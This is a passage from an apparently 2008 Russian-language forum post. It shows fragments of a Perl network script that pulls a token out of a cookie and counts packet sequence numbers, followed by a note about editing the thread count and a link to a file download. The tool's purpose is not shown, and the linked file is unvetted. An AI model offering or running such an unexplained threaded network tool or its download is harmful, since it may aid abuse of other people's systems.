        for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
        return substr($cookie,4+$i,256)
    }
    
    BEGIN {    #счётчик номера пакета
        my $seqNum = int(rand(65535));
        sub seqNum {
            $seqNum++;
            $seqNum = 0 if $seqNum > 65535;
            return int2bytes($seqNum)
        }
    }
    спец для тебя, кол-во тредов отредактируй
    http://dump.ru/file_catalog/957763
     
    #6 %00, 21 Jul 2008
    Last edited: 21 Jul 2008
    2 people like this.